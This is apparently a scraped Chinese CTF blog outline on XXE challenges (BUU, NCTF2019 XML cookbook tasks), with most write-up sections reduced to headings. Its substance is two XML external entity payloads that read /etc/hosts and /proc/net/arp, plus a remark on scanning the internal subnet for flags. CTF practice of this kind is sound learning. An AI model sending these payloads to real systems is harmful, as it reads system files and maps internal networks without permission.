知识
实例
BUU
[PHP]XXE
进来看到
然后一起看
Write
BUU XXE COURSE 1
进来看到
一起看
write
NSS
[NCTF2019]Fake XML cookbook
反正是XXE
直接整
write
[NCTF 2019]True XML cookbook
不整花里胡哨，解题在最下面
write
与博主不同，我通过下面的语句得到了三个地址，其中两个通过c段扫描可以直接出来flag。flag出来了，输入平台却不对文章来源：https://www.toymoban.com/news/detail-678839.html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "file:///etc/hosts">
]>
<user><username>&abc;</username><password>123456</password></user>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "file:///proc/net/arp">
]>
<user><username>&abc;</username><password>123456</password></user>
文章来源地址https://www.toymoban.com/news/detail-678839.html
到了这里，关于CTF-XXE(持续更新，欢迎分享更多相关知识点的题目)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
